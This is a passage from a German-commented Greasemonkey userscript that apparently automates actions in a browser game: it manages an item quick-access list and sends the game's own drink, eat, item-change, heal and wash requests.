// Funktion setzt die Direktzugriffsliste zurück auf leer
// **********************************************************************************
function ResetPlunderList() {
    PGu_setValue("PlunderDirectAccess", "");
}

// **********************************************************************************
// Funktion ermittelt die Anzahl der Plunderstücke in der Direktzugriffsliste
// **********************************************************************************
function GetNrOfPlunderInList() {
    try {
       return PGu_getValue("PlunderDirectAccess", "").split("|").length - 1;
    } catch(err) {
       return 0;
    }
}

// **********************************************************************************
// Funktion fügt ein Plunderstück in die Direktzugriffsliste hinzu
// **********************************************************************************
function AddPlunderToList(plunderinfo) {
    PGu_setValue("PlunderDirectAccess", PGu_getValue("PlunderDirectAccess", "") + plunderinfo + "|");
    if (plunderinfo.indexOf("chest_glow") != -1)
        GM_setValue("noFirefly", 0);
}

// **********************************************************************************
// Funktion entfernt ein Plunderstück aus der Direktzugriffsliste
// **********************************************************************************
function RemovePlunderFromList(plunderinfo) {
    if (plunderinfo.indexOf("chest_glow") != -1)
        GM_setValue("noFirefly", 1);

    var plunderNr = IsPlunderInList(plunderinfo) - 1;
    if (plunderNr < 0)
        return;         // Plunder nicht in Liste

    // Speichern der neuen Direktzugriffsliste
    var pList = PGu_getValue("PlunderDirectAccess", "").split("|");
    pList.splice(plunderNr, 1);
    PGu_setValue("PlunderDirectAccess", pList.join("|"));
}

// **********************************************************************************
// Funktion ermittelt das n-te Plunderstück der Direktzugriffsliste
// **********************************************************************************
function GetNthPlunderinfoFromList(n) {
    return PGu_getValue("PlunderDirectAccess", "").split("|")[n - 1];
}

// **********************************************************************************
// Funktion extrahiert den Dateinamen des Bildes aus der Plunderinfo
// **********************************************************************************
function GetPicFromPlunderInfo(plunderinfo) {
    return plunderinfo.split("*")[0];
}

// **********************************************************************************
// Funktion extrahiert den Plundernamen aus der Plunderinfo
// **********************************************************************************
function GetNameFromPlunderInfo(plunderinfo) {
    return plunderinfo.split("*")[1];
}

// **********************************************************************************
// Funktion extrahiert die Benutzungsart aus der Plunderinfo
// **********************************************************************************
function GetUsemodeFromPlunderInfo(plunderinfo) {
    var usermode = plunderinfo.split("*")[2];

    if (typeof usermode != 'undefined') {
        return usermode;
    } else {
        return "A";
    }
}

// **********************************************************************************
// **********************************************************************************
// Funktion entfernt alle Plunderstücke aus der Anzeige
// **********************************************************************************
// **********************************************************************************
function HideAllPlunder() {
    for (var i = 1; true; i++) {
        var currentplunderpic = document.getElementById('directplunderpic' + i);
        if (currentplunderpic != null) {
            currentplunderpic.parentNode.removeChild(currentplunderpic);
        }
        else
            break;
        if (i % MAXNROFSLOTS == 0) {
            var row = Math.floor((i-1)/MAXNROFSLOTS) + 1;
            var currentbgpic = document.getElementById('PDBACK'+row);
            if (currentbgpic != null)
                currentbgpic.parentNode.removeChild(currentbgpic);
        }

        var currentplundermodepic = document.getElementById('directplundermodepic' + i);
        if (currentplundermodepic != null) {
            currentplundermodepic.parentNode.removeChild(currentplundermodepic);
        }
    }

    var addicon = document.getElementById('AddPlunderIcon');
    if (addicon != null) {
        addicon.parentNode.removeChild(addicon);
    }
}

// **********************************************************************************
// **********************************************************************************
// Funktion zeigt alle Plunderstücke an
// **********************************************************************************
// **********************************************************************************
function ShowAllPlunder(content, NrOfPlunder, step, marker) {
    if (m_ownuserid != getOwnUserID())
        return;
    var ajax = content.match(/ajax\/\?[^=]*=/g).pop();
    // Wenn die Seite abgerufen werden konnte (kein Seitenladefehler)
    if (content.indexOf(KEYWORD_MYBUM[lang]) != -1) {
        if (step > 0 && collAllPlunder != marker)
            return;
        if (step > 0 && step <= nrOfTabs) {
            GM_xmlhttpRequest({method:"GET", url: PLUNDER_URL+ajax+step, onload:function(responseDetails) {
                if (PGu_getValue("callCount") != callCount)
                    return;
                if (responseDetails.responseText.indexOf('plunder_menu') != -1)
                    ShowAllPlunder (content + responseDetails.responseText, NrOfPlunder, step + 1, marker);
                else
                    ShowAllPlunder (content, NrOfPlunder, step, marker);
            }});
            return;
        } else if (step <= 0) {
            if (step < 0)
                if (saveAllPlunder == "")
                    step = 0;
                else
                    content = saveAllPlunder;
            if (step == 0 && !oldVersion) {
                collAllPlunder++;
                ShowAllPlunder (ajax+":"+KEYWORD_MYBUM[lang] + KEYWORD_JUNK[lang], NrOfPlunder, step + 1, collAllPlunder);
                return;
            }
        }
        else if (step == nrOfTabs+1)
            saveAllPlunder = content;
        var slotcorrect = 0;
        // Für alle Plunderstücke
        for (var i = 1; i <= NrOfPlunder; i++) {
            var plunderinfo = GetNthPlunderinfoFromList(i + slotcorrect);
            slotcorrect = slotcorrect + AddPlunderIcon(content, GetPicFromPlunderInfo(plunderinfo), GetNameFromPlunderInfo(plunderinfo), GetUsemodeFromPlunderInfo(plunderinfo), i + slotcorrect);
        }

        // Zahl der Plunderstücke ggf. korrigieren, falls benutzbare Plunderstücke nicht mehr vorhanden sind
        NrOfPlunder = NrOfPlunder + slotcorrect;

        // Wenn weniger als 9 Plunder eingetragen sind
            // +-Icon anzeigen
            ShowImg('PDBACK', PLUNDER_URL, get_icon("plunderfree"), getLangTxt(TOOLTIP_PLUNDERAUSWAHL), '', '', 1 + (NrOfPlunder % MAXNROFSLOTS) * 28, Math.floor(NrOfPlunder/MAXNROFSLOTS)*41 + 18, 1, 'AddPlunderIcon');
    }
    else
        ShowAllPlunder (content, NrOfPlunder, step, marker);
}

// **********************************************************************************
// **********************************************************************************
// Funktion liefert die aktuellen Punkte zurück
// **********************************************************************************
// **********************************************************************************
function GetPunkte(doc) {
    var punkte = doc.getElementsByClassName("icon award")[0].getElementsByTagName("a")[0];
    punkte = Number(trimString(punkte.innerHTML));

    return punkte;
}

// **********************************************************************************
// **********************************************************************************
// Funktion liefert die aktuellen Promille zurück
// **********************************************************************************
// **********************************************************************************
function GetPromille(doc) {
    var promille = doc.getElementsByClassName("icon beer")[0].getElementsByTagName("a")[0];
    promille = promille.innerHTML.match(/\d+/g);

    return Number(promille[0]) + Number(promille[1]) / 100;
}

// **********************************************************************************
// **********************************************************************************
// Funktion formatiert eine Zahl mit Tausendertrennzeichen
// **********************************************************************************
// **********************************************************************************
function money_format(zahl, tr) {
    var new_string = [];
    var nachkomma = Right$('0' + Math.round((zahl - parseInt(zahl)) * 100), 2);
    var tmp = parseInt(zahl) + '';

    while( tmp.length > 3)
    {
        new_string[new_string.length] = tmp.substr(tmp.length - 3 ) ;
        tmp = tmp.substr(0, tmp.length - 3 )
    }
    if (tmp)  new_string[new_string.length] = tmp;
    if (currency1 == "")
        return currency + tr + new_string.reverse().join(getLangTxt(TZ)) + getLangTxt(DZ) + nachkomma;
    else
        return new_string.reverse().join(getLangTxt(TZ)) + currency1 + parseInt(nachkomma) + currency2;
}

// **********************************************************************************
// **********************************************************************************
// Funktion blendet Werte in einen Text ein
// **********************************************************************************
// **********************************************************************************
function printf(text) {
    var i = 1;
    var prozPos = -1;

    while (i < printf.arguments.length && (prozPos = text.indexOf('%', prozPos + 1)) >= 0) {
        var format = text.substr(prozPos + 1, 1);
        switch (format) {
            case 'd':
            case 's':
                var neuText = printf.arguments[i++];
                break;
            case 'm':
                var neuText = money_format(printf.arguments[i++], " ");
                break;
            default:
                continue;
        }
        text = text.substr(0, prozPos) + neuText + text.substr(prozPos + 2);
        prozPos = prozPos + neuText.length - 1;
    }
    return text;
}

// **********************************************************************************
// **********************************************************************************
// Funktion aktiviert Wartecursor in Abhängigkeit des waitflags
// **********************************************************************************
// **********************************************************************************
function CursorWait(currentelem, waitflag) {
    if (waitflag) {
        currentelem.style.cursor = 'progress';
        document.body.style.cursor = 'progress';
    } else {
        currentelem.style.cursor = 'pointer';
        document.body.style.cursor = 'auto';
    }
}

// **********************************************************************************
// **********************************************************************************
// Funktion ermittelt zur Verfügung stehende Anzahl des Nahrungsmittels "food"
// **********************************************************************************
// **********************************************************************************
function GetNrOfFood(content, food) {
    if (content.indexOf(' ' + food) == -1)
        return "x";
    var sfood = content.split(' ' + food);
    var nr = sfood[sfood.length-2];
    nr = nr.split('<span>')[nr.split('<span>').length - 1].split(' ')[0];
    if (isNaN(nr)) {
        var splitfood = food.split(' ');
        splitfood[0] = splitfood[0].substr(0, splitfood[0].length - 1);
        sfood = content.split(' ' + splitfood.join(' '));
        if (sfood.length < 2)
            return "x";
        nr = sfood[sfood.length-2];
        nr = nr.split('<span>')[nr.split('<span>').length - 1].split(' ')[0];
    }

    return nr;
}

// **********************************************************************************
// **********************************************************************************
// Funktion fügt den Handler zum Auto-Trinken ein
// **********************************************************************************
// **********************************************************************************
function PromilleUpHandler(currentelem) {
    var wpromille = TAisDrink2?2:2.5;
    currentelem.style.cursor = 'pointer';

    // **********************************************************************************
    // EVENTHANDLER
    // **********************************************************************************
    currentelem.addEventListener('click', function(event) {

        // **********************************************************************************
        // Funktion prüft, ob die Promillezahl wirklich auf über 2,5 bzw. 2,0 gestiegen ist
        // **********************************************************************************
        function CheckPromilleUpSuccess(content) {
            // Seite refreshen
            refreshPage();
            var promille = GetPromille(HTML2DOM(content));
            // Wenn der Alkoholpegel auf ein unkritisches Niveau gestiegen ist
            if (promille >= wpromille) {
                // User benachrichtigen
                if (EatDrinkFeedBack)
                    alert(getLangTxt(TxtHiccup));
            // sonst: Der Alkoholpegel ist NICHT auf ein unkritisches Niveau gestiegen
            } else {
                // User benachrichtigen
                alert(printf(getLangTxt(TxtDrinkError), promille));
            }
        }

        // **********************************************************************************
        // Funktion sendet das POST zum Trinken
        // **********************************************************************************
        function DrinkIt(nrofbeer) {
            // **********************************************************************************
            // *** GM_XMLHTTPREQUEST *** POSTEN der Getränkenutzung
            // **********************************************************************************
            GM_xmlhttpRequest({method: 'POST', url: EAT_URL, headers: {'Content-type': 'application/x-www-form-urlencoded'},
                data: encodeURI('item=&promille=&id=' + ID_BEER + '&menge=' + nrofbeer),
                onload: function(responseDetails) {
                    // Erfolg prüfen
                    CheckPromilleUpSuccess(responseDetails.responseText);
                }
            });
        }

        // **********************************************************************************
        // Funktion prueft die Anzahl der Biere und trinkt sie bzw. gibt eine Meldung aus
        // **********************************************************************************
        function DrinkBeer(content, nrofbeers) {
            // Verfügbare Anzahl Bier abrufen
            var foods = content.split("/stock/foodstuffs/use/");
            var nr = 0;
            for (i = 1; i < foods.length; i++) {
                var prom = foods[i].split('name="promille"')[1].split('value="')[1].split('"')[0];
                if (prom != 35)
                    continue;
                var drink = foods[i].split('name="item"')[1].split('value="')[1].split('"')[0];
                nr = foods[i].split('id="lager_'+drink+'"')[1].split('value="')[1].split('"')[0];
                if (isNaN(nr))
                    nr = 0;
                else
                    nr = Number(nr);
                break;
            }
            // ***********************************************************************************************
            // Wenn genügend Trinken vorhanden ist
            // ***********************************************************************************************
            if (nr >= nrofbeers) {
                // Trinken gehen
                DrinkIt(nrofbeers);

                // Keinen Wartecursor anzeigen
                if (currentelem)
                    CursorWait(currentelem, false);
            // ***********************************************************************************************
            // sonst: Es ist nicht genügend Trinken vorhanden
            // ***********************************************************************************************
            } else {
                drink = TxtBeer1[lang];
                if (TxtBeer2[lang] != drink)
                    drink += "/" + TxtBeer2[lang];

                // Keinen Wartecursor anzeigen
                if (currentelem)
                    CursorWait(currentelem, false);
                // Benutzer benachrichtigen
                alert(printf(getLangTxt(TxtNotMuchToDrink), drink));
                if (confirm(printf(getLangTxt(TxtNotMuchToDrink), drink)))
                    window.setTimeout("window.location.href = window.location.protocol + '//' + window.location.host + '/city/supermarket/'", 2000);
            }
        }

        // **********************************************************************************
        // Funktion sucht einen Plunder im doc
        // **********************************************************************************
        function suchePlunder(doc, plundername, type) {
            // Referenz auf Plundertabelle speichern
            var plundertable = doc.getElementsByTagName("table")[0];
            // Referenz auf Zeilen der Plundertabelle speichern
            var plundertrs = plundertable.getElementsByTagName("tr");

            for (var i = oldVersion; i < plundertrs.length; i++) {
                if (restPlunder != "")
                    if (restPlunder == GetPlunderName(plundertrs[i]))
                        restIndex = i - oldVersion + 1;
                if (type == "")
                    if (plundername == GetPlunderName(plundertrs[i]))
                        return i - oldVersion + 1;
                if (type != "") {
                    var td = plundertrs[i].getElementsByTagName("td")[5];
                    if (type == "B")
                        td = plundertrs[i].getElementsByTagName("td")[4];
                    // **********************************************************************************
                    // Wenn das Plunderstück anlegbar oder benutzbar und nicht plundername ist
                    // **********************************************************************************
                    if (td.getElementsByTagName("a").length > 0 && plundername != GetPlunderName(plundertrs[i]))
                        return i - oldVersion + 1;
                }
            }

            if (type == "")
                if (plundername == PGu_getValue("LastPlunderName", ""))
                    return 0;

            return -1;    // nichts gefunden
        }

        // **********************************************************************************
        // Funktion legt Alkoholplunder an bzw. benutzt ihn (PG reloaded)
        // **********************************************************************************
        function alcoPlunderAnlegen(content1, promille, restore) {
            function collectAlcoPlunder(tabNr) {
                // **********************************************************************************
                // *** GM_XMLHTTPREQUEST *** Abrufen der Plunder-Seite
                // **********************************************************************************
                GM_xmlhttpRequest({method:"GET", url: PLUNDER_URL + (oldVersion ? "" : "ajax/?"+ajaxcode+"=" + tabNr), onload:function(responseDetails) {
                    var content = responseDetails.responseText;
                    if (tabNr != 4 && restore && restPlunder == "") {
                        // Aktuellen Plunder ermitteln und anzeigen
                        if (oldVersion)
                            GetCurrentPlunder(content);

                        restPlunderimg = PGu_getValue("LastPlunderImg", "");
                        restPlunder = PGu_getValue("LastPlunderName", "");
                    }
                    var doc = HTML2DOM(content);
                    if (oldVersion)
                        promille = GetPromille(doc);
                    if (promille >= 3.65)
                        return;             // 4 Promille ist uebel
                    if (promille >= 2.5)
                        wpromille = 3.0;

                    if (doc.getElementsByTagName("table").length > 0) {
                        // Referenz auf Plundertabelle speichern
                        var plundertable = doc.getElementsByTagName("table")[0];
                        // Referenz auf Zeilen der Plundertabelle speichern
                        var plundertrs = plundertable.getElementsByTagName("tr");

                        for (var j = 0; j < alcoplunder.length; j++) {
                            if (exalcoplunder[j] >= 0)
                                continue;
                            var plundername = alcoplunder[j];
                            var pInd = suchePlunder(doc, plundername, "");
                            if (pInd < 0 || j == 0 && promille >= 2.5 || j == 1 && promille >= 3)
                                continue;
                            exalcoplunder[j] = pInd;
                            if (pInd >= 0) {
                                if (pInd == 0) {
                                    alcoActionNr[j] = "";
                                    alcoPlunderInfo[j] = PGu_getValue("LastPlunderImg", "") + "*" + plundername + "*A";
                                } else {
                                    pInd = pInd + oldVersion - 1;
                                    alcoActionNr[j] = GetActionNumber((oldVersion?"":KEYWORD_JUNK[lang])+content, GetPlunderPic(plundertrs[pInd]), plundername);
                                    if (tabNr != 4)
                                        alcoPlunderInfo[j] = GetPlunderPic(plundertrs[pInd]) + "*" + plundername + "*A";
                                    else
                                        alcoPlunderInfo[j] = GetPlunderPic(plundertrs[pInd]) + "*" + plundername + "*B";
                                }
                                var alcoInList = IsPlunderInList(alcoPlunderInfo[j]);
                                if (alcoInList > 0 && alcoInList < firstAlcoInList) {
                                    firstAlcoInList = alcoInList;
                                    alcpl = j;
                                }
                                alcocnt++;
                            }
                        }
                        if (tabNr == 3 && alcocnt < alcoplunder.length) {
                            collectAlcoPlunder(1);
                            return;
                        }

                        if (restIndex < 0)
                            restIndex = suchePlunder(doc, restPlunder, "");

                        if (restIndex > 0) {
                            restPlunderimg = GetPlunderPic(plundertrs[restIndex + oldVersion - 1]);
                            restActionNr = GetActionNumber((oldVersion?"":KEYWORD_JUNK[lang])+content, restPlunderimg, restPlunder);
                        }
                    }

                    var plInd = -1;
                    if (alcocnt > 0) {    // es ist AlkoPlunder da
                        if (alcpl < 0)
                            for (alcpl = 0; alcpl < alcoplunder.length; alcpl++)
                                if (exalcoplunder[alcpl] >= 0)
                                    break;
                        plInd = exalcoplunder[alcpl];
                    }
                    else if (tabNr == 4) {
                        collectAlcoPlunder(3);
                        return;
                    }

                    var anlegplunder = "";
                    var anlegActionNr = "";
                    if (tabNr == 4 && alcpl >= 0) {
                        var ActionNr = alcoActionNr[alcpl];
                        var tdpm = content.indexOf('id="pm_'+ActionNr+'"');
                        var href = content.substr(tdpm).split('<a href="')[3].split('"')[0];
                        if (href.substr(0,4) == "java") {
                            href = content.substr(tdpm).split('<form')[1].split('action="')[1].split('"')[0];
                            var inputs = content.substr(tdpm).split('/form')[0].split('<input');
                            var data = "";
                            for (ii = 1; ii < inputs.length; ii++) {
                                var name = inputs[ii].split('name="')[1].split('"')[0];
                                var val  = inputs[ii].split('value="')[1].split('"')[0];
                                data += "&" + name + "=" + val;
                            }
                            var data = data.substr(1);
                        }
                        else
                            var data = "plunder="+ActionNr;
                        var PLUNDERUSE_URL = TOWNBASE_URL + href.substr(1);
                        // **********************************************************************************
                        // *** GM_XMLHTTPREQUEST *** Abrufen der Plunderbenutzung (--> Plunder wird benutzt)
                        // **********************************************************************************
                        GM_xmlhttpRequest({method: 'POST', url: PLUNDERUSE_URL, headers: {'Content-type': 'application/x-www-form-urlencoded'},
                        data: encodeURI(data),
                        onload: function(responseDetails) {
                            // Seite refreshen
                            refreshPage();
                        }});
                        return;
                    }
                    if (promille >= wpromille) {
                        DrinkBeer(content1, 1); // nur 1 Bier trinken
                    }
                    else if (plInd == 0) {    // AlkoPlunder ist angelegt
                        var pInd = suchePlunder(doc, alcoplunder[alcpl], "A"); // suche anderen Plunder zum Anlegen
                        if (pInd > 0) {            // gefunden
                            pInd = pInd + oldVersion - 1;
                            anlegplunder = GetPlunderName(plundertrs[pInd]);
                            anlegActionNr = GetActionNumber(content, GetPlunderPic(plundertrs[pInd]), anlegplunder);
                            PGu_setValue("LastPlunderImg", getPicAddr(GetPlunderPic(plundertrs[pInd])));
                            PGu_setValue("LastPlunderName", anlegplunder);
                            // **********************************************************************************
                            // *** GM_XMLHTTPREQUEST *** POSTEN des Plunderwechsels
                            // **********************************************************************************
                            GM_xmlhttpRequest({method: 'POST', url: PLUNDERCHANGE_URL, headers: {'Content-type': 'application/x-www-form-urlencoded'},
                                data: encodeURI('f_plunder=' + anlegActionNr),
                                onload: function(responseDetails) {
                                    // jetzt aber Alkoholplunder anlegen
                                    alcoPlunderAnlegen(content, promille, restore);
                                }
                            });
                        }
                    } else if (plInd > 0) {
                        var plunderinfo = alcoPlunderInfo[alcpl];
                        PGu_setValue("LastPlunderImg", getPicAddr(GetPicFromPlunderInfo(plunderinfo)));
                        PGu_setValue("LastPlunderName", GetNameFromPlunderInfo(plunderinfo));

                        // Angelegten Plunder anzeigen
                        ShowCurrentPlunder(getPicAddr(GetPicFromPlunderInfo(plunderinfo)), GetNameFromPlunderInfo(plunderinfo), oldVersion);

                        var ActionNr = alcoActionNr[alcpl];
                        // **********************************************************************************
                        // *** GM_XMLHTTPREQUEST *** POSTEN des Plunderwechsels
                        // **********************************************************************************
                        GM_xmlhttpRequest({method: 'POST', url: PLUNDERCHANGE_URL, headers: {'Content-type': 'application/x-www-form-urlencoded'},
                            data: encodeURI('f_plunder=' + ActionNr),
                            onload: function(responseDetails) {
                                if (restPlunder != "none" && restPlunder != "" && restPlunder != GetNameFromPlunderInfo(plunderinfo))
                                {
                                    if (restActionNr == "" && oldVersion) {
                                        var doc = HTML2DOM(responseDetails.responseText);

                                        // Referenz auf Plundertabelle speichern
                                        var plundertable = doc.getElementsByTagName("table")[0];
                                        // Referenz auf Zeilen der Plundertabelle speichern
                                        var plundertrs = plundertable.getElementsByTagName("tr");
                                        restIndex = suchePlunder(doc, restPlunder, "");
                                        if (restIndex > 0) {
                                            restActionNr = GetActionNumber(responseDetails.responseText, restPlunderimg, restPlunder);
                                            restPlunderimg = GetPlunderPic(plundertrs[restIndex + oldVersion - 1]);
                                        }
                                    }

                                    if (restActionNr == "")     // Plunder kann nicht wiederangelegt werden !!
                                        refreshPage();
                                    else {
                                        PGu_setValue("LastPlunderImg", getPicAddr(restPlunderimg));
                                        PGu_setValue("LastPlunderName", restPlunder);

                                        // Angelegten Plunder anzeigen
                                        ShowCurrentPlunder(getPicAddr(restPlunderimg), restPlunder, oldVersion);
                                        // **********************************************************************************
                                        // *** GM_XMLHTTPREQUEST *** POSTEN des Plunderwechsels für den ursprünglichen Plunder
                                        // **********************************************************************************
                                        GM_xmlhttpRequest({method: 'POST', url: PLUNDERCHANGE_URL, headers: {'Content-type': 'application/x-www-form-urlencoded'},
                                            data: encodeURI('f_plunder=' + restActionNr),
                                            onload: function(responseDetails) {
                                                // Seite refreshen
                                                refreshPage();
                                                }
                                            });
                                    }
                                } else {
                                    // Seite refreshen
                                    refreshPage();
                                }
                            }
                        });
                    }
                    else {          // kein Alco-Plunder da, aber weniger als 2,5 Promille bzw. 2 Promille bei TA
                        // Zahl der benötigten Bierflaschen berechnen
                        var bottlesneeded = Math.ceil(Math.round((wpromille - promille)*100)/35);

                        DrinkBeer(content1, bottlesneeded);
                    }
                }});
            }
            var alcocnt = 0;
            var firstAlcoInList = 9999;
            var alcpl = -1;
            for (var i = 0; i < alcoplunder.length; i++)
                exalcoplunder[i] = -1;
            if (nrOfTabs >= 6)
                collectAlcoPlunder(4);
            else
                collectAlcoPlunder(1);
        }

        if (event.shiftKey != 0) {
            EatDrinkFeedBack = 1 - EatDrinkFeedBack;
            PG_setValue("EatDrinkFB", EatDrinkFeedBack);
        }

        // Wartecursor anzeigen
        CursorWait(currentelem, true);

        // **********************************************************************************
        // *** GM_XMLHTTPREQUEST *** Abrufen der Trinken-Seite
        // **********************************************************************************
        GM_xmlhttpRequest({method: 'GET', url: DRINK_STACK, onload: function(responseDetails) {
            var nrofbeer = 0;

            var content = responseDetails.responseText;

            // Aktuelle Promille ermitteln
            var promille = GetPromille(HTML2DOM(content));

            // ***********************************************************************************************
            // Es liegen mehr als 3,65 Promille an --> Lebensgefahr !!
            // ***********************************************************************************************
            if (promille >= 3.65) {
                // Keinen Wartecursor anzeigen
                CursorWait(currentelem, false);
                // Benutzer benachrichtigen
                alert(getLangTxt(TxtDrinkLifeRisk));
            }
            // ***********************************************************************************************
            // Es liegen mehr als 2,5 Promille an
            // ***********************************************************************************************
            else if (promille >= 3.0) {
                // Keinen Wartecursor anzeigen
                //CursorWait(currentelem, false);
                // Benutzer benachrichtigen
                //alert(getLangTxt(TxtNoNeedToDrink));
                DrinkBeer(content, 1);          // nur 1 Bier trinken !!
            // ***********************************************************************************************
            // Sonst: Wenn weniger als 2,5 Promille anliegen: Promille rauf durch Plunder oder Trinken
            // ***********************************************************************************************
            } else {
                restPlunder = "";
                restActionNr = "";
                alcoPlunderAnlegen(content, promille, true);
            }
        }
        });
    },false);
}

// **********************************************************************************
// **********************************************************************************
// Funktion fügt den Handler zum Auto-Essen ein
// **********************************************************************************
// **********************************************************************************
function PromilleDownHandler(currentelem) {
    currentelem.style.cursor = 'pointer';

    // **********************************************************************************
    // EVENTHANDLER
    // **********************************************************************************
    currentelem.addEventListener('click', function(event) {

        // **********************************************************************************
        // Funktion prüft, ob die Promillezahl wirklich auf unter 0,75 gesunken ist
        // **********************************************************************************
        function CheckPromilleDownSuccess(content) {
            // Seite refreshen
            refreshPage();
            var promille = GetPromille(HTML2DOM(content));
            // Wenn der Alkoholpegel auf ein unkritisches Niveau gesunken ist
            if (promille <= (crimePlanned?0:0.75)) {
                // User benachrichtigen
                if (EatDrinkFeedBack)
                    alert(getLangTxt(TxtYummy));
            // sonst: Der Alkoholpegel ist NICHT auf ein unkritisches Niveau gesunken
            } else {
                // User benachrichtigen
                alert(printf(getLangTxt(TxtEatError), promille));
            }
        }

        // **********************************************************************************
        // Funktion sendet die POSTS zum Essen
        // **********************************************************************************
        function EatIt(nroffood) {
            var id = 0;
            var menge = 0;
            for (var i = 0; i < nroffood.length; i++) {
                if (nroffood[i] > 0) {
                    var id = idoffood[i];
                    var menge = nroffood[i];
                    nroffood[i] = 0;
                    break;
                }
            }
            // **********************************************************************************
            // *** GM_XMLHTTPREQUEST *** POSTEN des Essensbefehls
            // **********************************************************************************
            GM_xmlhttpRequest({method: 'POST', url: EAT_URL, headers: {'Content-type': 'application/x-www-form-urlencoded'},
                data: encodeURI('item=&promille=&id=' + id + '&menge=' + menge),
                onload: function(responseDetails) {
                    var moretoEat = false;
                    for (var i = 0; i < nroffood.length; i++)
                        if (nroffood[i] > 0) {
                            moretoEat = true;
                            break;
                        }
                    if (moretoEat)
                        EatIt(nroffood);
                    else // Erfolg prüfen
                        CheckPromilleDownSuccess(responseDetails.responseText);
                }
            });
        }

        if (event.shiftKey != 0) {
            EatDrinkFeedBack = 1 - EatDrinkFeedBack;
            PG_setValue("EatDrinkFB", EatDrinkFeedBack);
        }

        // Wartecursor anzeigen
        CursorWait(currentelem, true);

        // **********************************************************************************
        // *** GM_XMLHTTPREQUEST *** Abrufen der Essen-Seite
        // **********************************************************************************
        GM_xmlhttpRequest({method: 'GET', url: EAT_STACK, onload: function(responseDetails) {
            var nroffood = new Array();
            var stacknroffood = new Array();

            var content = responseDetails.responseText;

            // Aktuelle Promille ermitteln
            promille = GetPromille(HTML2DOM(content));
            var sumprom = 0;

            for (i = 0; i < FoodNames.length; i++) {
                stacknroffood[i] = GetNrOfFood(content, FoodNames[i]);
                if (isNaN(stacknroffood[i]))
                    stacknroffood[i] = 0;
                nroffood[i] = 0;
                sumprom += stacknroffood[i] * promillevals[i];
            }

            // ***********************************************************************************************
            // Wenn genügend Essen vorhanden ist
            // ***********************************************************************************************
            if (sumprom > promille) {
                // ***********************************************************************************************
                // Wenn mehr als 0,75 Promille anliegen
                // ***********************************************************************************************
                var promZiel = (crimePlanned?0:0.75);
                if (promille <= promZiel && TAisEatSnack)
                    promille = promZiel + 0.35;     // es muesste nichts getrunken werden, aber TA ist "Essen"
                if (promille > promZiel) {
                    promille -= promZiel;
                    while (promille > 0) {
                        var maxexfood = -1;
                        var bestfood = -1;
                        for (i = 0; i < FoodNames.length; i++)
                            if (stacknroffood[i] >= 1) {
                                maxexfood = i;
                                if (promille <= promillevals[i] && bestfood < 0)
                                    bestfood = i;
                            }
                        if (bestfood < 0)
                            bestfood = maxexfood;
                        if (bestfood < 0)
                            break;

                        nroffood[bestfood]++;
                        stacknroffood[bestfood]--;
                        promille -= promillevals[bestfood];
                    }

                    // Essen gehen, wenn es gereicht hat
                    if (promille <= 0) {
                        EatIt(nroffood);

                        // Keinen Wartecursor anzeigen
                        CursorWait(currentelem, false);
                    } else {
                        // Keinen Wartecursor anzeigen
                        CursorWait(currentelem, false);
                        // Benutzer benachrichtigen
                        alert(getLangTxt(TxtNotEnoughToEat));
                    }
                // ***********************************************************************************************
                // sonst: Es liegen 0,75 Promille oder weniger an
                // ***********************************************************************************************
                } else {
                    // Keinen Wartecursor anzeigen
                    CursorWait(currentelem, false);
                    // Benutzer benachrichtigen
                    alert(getLangTxt(TxtNoNeedToEat));
                }
            // ***********************************************************************************************
            // sonst: Es ist nicht genügend Essen vorhanden
            // ***********************************************************************************************
            } else {
                // Keinen Wartecursor anzeigen
                CursorWait(currentelem, false);
                // Benutzer benachrichtigen
                if (confirm(printf(getLangTxt(TxtNotMuchToEat), convertUni(FoodNames[1]), convertUni(FoodNames[4]))))
                    window.setTimeout("window.location.href = window.location.protocol + '//' + window.location.host + '/city/supermarket/food/'", 2000);
            }
        } });
    },false);
}

// **********************************************************************************
// **********************************************************************************
// Funktion liefert den aktuellen Geldstand zurück
// **********************************************************************************
// **********************************************************************************
function GetMoney(doc) {
    var money = doc.getElementsByClassName("icon money")[0].getElementsByTagName("a")[0].innerHTML.trim();
    if (currency1 != "") {
        money = money.replace(currency1, '.');
        if (money.substr(money.length-2,1) == ".")
            money = money.insert("0", -1);
    }
    else if (money.substr(money.length-3, 1) == '.') {
        DZ[lang] = '.';
        TZ[lang] = ',';
    }
    money = money.match(/[\d,.]+/)[0].replace(/[,.]/g, "") / 100;
    return money;
}

// ***********************************************************************************************
// Funktion ermittelt die aktuelle Sauberkeit
// ***********************************************************************************************
function getCleanliness(content) {
    var clpos = content.indexOf('class="processbar_');
    if (clpos < 0)
        return '';

    return content.substr(clpos).split("<b>")[1].split("</b>")[0];
}

// **********************************************************************************
// **********************************************************************************
// rekursive Funktion zum Heilen
// **********************************************************************************
// **********************************************************************************
function CureMe(currentelem, cnt, pts, first) {

    // **********************************************************************************
    // *** GM_XMLHTTPREQUEST *** POSTEN des Kommandos zum Heilen
    // **********************************************************************************
    GM_xmlhttpRequest({method: 'POST', url: CURE_URL, headers: {'Content-type': 'application/x-www-form-urlencoded'},
        data: encodeURI('id=2'),
        onload: function(respDetails) {
            GM_xmlhttpRequest({method:"GET", url: OVERVIEW_URL, onload:function(responseDetails) {
                var lifepts = getCleanliness(responseDetails.responseText);
                if (pts == lifepts)
                    alert(printf(getLangTxt(TxtLifepts3), (first?"":"weiter ")));
                if (cnt > 1 && pts != lifepts)
                    CureMe(currentelem, cnt-1, lifepts, false);
                else {
                    // Keinen Wartecursor anzeigen
                    CursorWait(currentelem, false);

                    // Seite refreshen
                    refreshPage();

                    // User benachrichtigen
                    if (EatDrinkFeedBack)
                       alert(getLangTxt(TxtLifepts1));
                }
            }
            });
        }
     });
}

// **********************************************************************************
// **********************************************************************************
// rekursive Funktion zum Waschen
// **********************************************************************************
// **********************************************************************************
function WashMe(currentelem, id, cnt) {

    // **********************************************************************************
    // *** GM_XMLHTTPREQUEST *** POSTEN des Kommandos zum Waschen
    // **********************************************************************************
    GM_xmlhttpRequest({method: 'POST', url: WASH_URL, headers: {'Content-type': 'application/x-www-form-urlencoded'},
        data: encodeURI('id=' + id),
        onload: function(responseDetails) {
            if (cnt > 1)
                WashMe(currentelem, id, cnt-1);
            else {
                // Keinen Wartecursor anzeigen
                CursorWait(currentelem, false);

                // Seite refreshen
                refreshPage();

                // User benachrichtigen
                if (EatDrinkFeedBack)
                    alert(getLangTxt(TxtCleansed1));
            }
        }
     });
}

// **********************************************************************************
// **********************************************************************************
// Funktion fügt den Handler zum Waschen ein
// **********************************************************************************
// **********************************************************************************
function WashHandler(currentelem) {
